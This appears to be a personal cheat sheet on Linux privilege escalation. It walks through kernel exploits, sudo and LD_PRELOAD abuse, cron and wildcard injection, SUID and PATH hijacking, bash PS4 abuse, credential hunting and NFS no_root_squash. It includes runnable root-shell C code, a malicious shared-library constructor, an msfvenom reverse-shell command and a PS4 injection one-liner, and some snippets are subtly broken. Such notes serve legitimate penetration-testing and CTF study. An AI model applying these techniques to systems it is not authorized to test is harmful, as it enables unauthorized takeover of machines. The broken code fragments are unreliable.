Linux Privilege Escalation

Tools

There are a lot of tools that can help with identifiying potential routes to gain root. Its probably better to try and not rely too hard on scripts though, as it is important to have a solid understanding of how things work. Here are some common ones:

Enum Scripts

- Linux Smart Enumeration
- LinEnum
- LinuxPrivChecker
- BeRoot
- unix-privesc-check
- LinPEAS

Find Kernel Exploits

- linux-exploit-suggester-2
- searchsploit

Spawning a root shell

There are many methods of spawning a root shell, here are some common ones:

- Create a copy of /bin/bash owned by root with the SUID bit set. Exectue this file with the -p flag to gain root.
- Create a custom executable that spawns a root shell, such as the follow c code:

  ```
  int main(){setuid(0);system("/bin/bash -p");}
  ```

- msfvenom can also be used to create reverse shell executable, which can be caught with netcat:

  ```
  $ msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf
  ```

- A reverse shell can also be created natively with any of the one liners from ReverShellGenorator

Kernel Exploits

Kernel exploits are one common method of gaining root access. Here is the general outline of how to find and use a kernel exloit:

1. Find the kernel version (uname -a)
2. Use searchsploit command to find exploits. You can also use linux-exploit-suggester-2
3. Then once you find a sutable exploit, you can find a working implementation either via github or exploitdb
4. Download, compile, and run the exploit.
5. You are now hopefully root!

Exploiting Services

Services are programs that run in the background, and finding vulnerable processes that run as root can help us to gain root access.

1. List all background processes running as root, use the command `$ ps aux | grep "^root"`
2. Find the program versions by running that program with the -v or –version flag
3. Use searchsploit, github, or google to try and find an exploit for that program
4. Use that exploit to gain root access

Port Forwarding

If for some reason you need to exploit a service on your machine, you can port forward that service via ssh to your machine using:

```
$ ssh -R <local-machine-port>:127.0.0.1:<target-machine-port> <username>@<localmachine>
```

You can also find which ports are currently listening using: `netstat -nl`

Misconfigured File Permissions

If certian file permissions are too weak, we can possibly use that file to gain root. For example, if /etc/shadow is set to world readable, we can try and crack the root password because we now know the hash. If we can write to the file, we can change the hash to a password that we know. You can also write passwords to /etc/password, or append a new user with uid 0 to the file. If you delete the x in the second field from /etc/passwd, Linux will think the root user has no password.

Exploiting Sudo

You can check which programs a user can run as root using `sudo -l`
Using one of those programs you could try and get to root using a shell escape sequance. Some of the most common programs shell escape sequences can be listed at GTFObins. Even if a program doesn't have an escape sequence, you could still possibly use its functionality to get to root. Some possibly ways of doing this are using the program to read or write to restricted files. Other configuration options can also be viewed with `sudo -l` such as environment variables, which can also be exploited. env_keep can be used to keep certian environment variables when running sudo. LD_PRELOAD and LD_LIBRARY_PATH can both be abused to gain root access to the system. For an example on how to use these variables to preload a malicious library, view here: SUDO LD_PRELOAD

Cron Jobs

If a program or script scheduled with a cron job (or systemd timer) has global write access, and runs as root, then we can edit that script and replace it with something that gives us root access (probably a reverse shell, but there are alot of other options). Also, if we have write access to a directory listed in the crontab PATH, we can create our own script with the same name as another cron job (if that cron job doesn't list the absolute path). Also make sure that the new script is executable (because I will probably forget this and wonder why it won't work), and also the directory in PATH should come before the actual directory of the file, so that it is searched for first. You can view system wide cronjobs in /etc/crontab, and view systemd timers using the `systemctl list-timers` command.

Cron Job Wildcard Injection

If a script run by a cron job has a wildcard in it (*), that wildcard will expand files with the same name as command line options into those options (e.g. creating a file named –help will add the help flag to a command such as ls *). This can be exploited if a command can use flags to run other programs. The most common exploitable programs with this are tar and rsync, which both have flags that can be used to run other scripts. Here is a more detailed guide on how to do this: Tar Cron 2 Root. Check GTFOBins to see if the command using the wildcard has any flags that can help to run other programs.

SUID/SGUID Files

If a file owned by root has the SUID or SGID bit set, then we may be able to use those files to gain root access, as those files are run with an EUID of root. SUID and SGID files can be found using the following command:

```
$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

We can then find SUID binaries that can be exploited, either using GTFOBins, Searchsploit, Google, etc.

Shared Object Injection

If a program attempts to call a shared object that does not exist, we can put our own malicous shared object in the directory that it is looking in. To check if a program is looking for a shared library that does not exist, we can use

the following `strace` command:

```
$ strace /usr/bin/<vulnerable-suid-program> 2>&1 | grep -i -E "open|access|no such file"
```

We can then create our own shared library:

```
#include <stdio.h>
#include <stdlib.h>

# GCC attribute which will be run when a shared library is loaded.
static void inject() __attribute__((constructor));

void inject() {
  # copies over /bin/bash and adds SUID bit to get root shell
  system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash && /tmp/rootbash -p");
}
```

We can then compile it with the following (make sure the new shared library is saved to the directory that the SUID binary is looking in):

```
gcc -shared -o /home/user/custom.so -fPIC /home/user/custom.c
```

Then just run the shared library, and you should be root!

PATH variable

If a SUID program tries to execute a program without giving the full path, the shell will search the PATH environment variable for the program. Since we can control our PATH variable, we can tell the program where to look for the program it is trying to execute. We can run strings on the program to find the name of other programs it could be trying to execute. We can also use strace or ltrace to do this aswell:

```
$ strings /path/to/command
$ strace -v- f- e execve /path/to/command 2>&1 | grep exec
$ ltrace /path/to/command
```

Now we can create a malicous version of the program that the SUID program is trying to run:

```
int main() {setuid(0);system"/bin/bash -p");
```

First compile it with the same name as the program that is trying to be run by the SUID program. Then we can change our PATH to include the directory with our new program, and then run the SUID program.

```
$ PATH=path/to/malicous/program:PATH /path/to/SUID/PROGRAM
```

Shell Feature Abuse

There are two different ways we are going to use to abuse the shell and SUID programs. One works for bash<4.2-048 and the other bash<4.4.

Method #1 If you find that an SUID binary is calling another program, and it gives the absolute path, we can define a user function with an absulte path name, and it will overwrite the actiual program call. To do this, once you find a SUID program running another program with the full path, and bash is less than 4.2-048, we can create a new bash function:

```
$ function <path to program being called by SUID program> { /bin/bash -p; }
$ export -f <path to program being called by SUID program>
```

Then you can just call the SUID program, and you will now have root access.

Method #2

If an SUID program runs another program using bash, the environment variables can be inhereted. We can use bash's debugging mode by chaning the SHELLOPTS environment variable to xtrace using the env command. In debugging mode, if bash is less than version 4.4, it will have a environment variable PS4 which can include a command to be

run. We can find a SUID binary running another program via bash using either strings, strace, or ltrace (you might see it as the system function being used to execute a program). Once we find the program, we can then run the SUID file with bash debugging and the PS4 variable set to our custom command:

```
$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash)' /path/to/SUID/file
$ /tmp/rootbash -p
```

You should now be root!

Passwords

You can check history files for the plaintext root passwords if someone previously typed it into a command. You can view history files by using the command `ls -a` and any file that ends in _history is probably a history file. Program config files may also store credientials. Other important files such as private ssh keys or passwords may be insecurley stored somewhere on the system, so look around common places such as /, /tmp, /var/backups, /var/logs, etc for any files that may store credentials.

NFS

NFS stands for netowrk file sharing, and allows you to share directories with other linux clients over a network. Files created by users on other machines keep the remote users id and gid, unlesss they are root, then they are squashed (they become the nobody user on the nogroup group). This can be disabled with the no_root_squash setting. You can check this in /etc/exports. If no_root_squashing is enabled, we can connect as root from our own computer, and create our own files with the id root. First check if you cant remotely mount the NFS share using the following command on our local machine: `$ showmount -e <server-ip>`
Once it is confirmed that we can remotely mount using NFS, we can:

1. Create a mount point on our local machine: `$ mkdir /tmp/nfs`
2. Remotely mount the directory:
   `mount -o rw,vers=2 <server-ip>:/mountable/directory/on/server /local/mountpoint`
3. Create a malicous payload using msfvenom as root:
   `$ sudo msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o </path/to/mounted/share>/shell.elf`
4. Move over to the server and execute the file: `$ /path/to/payload`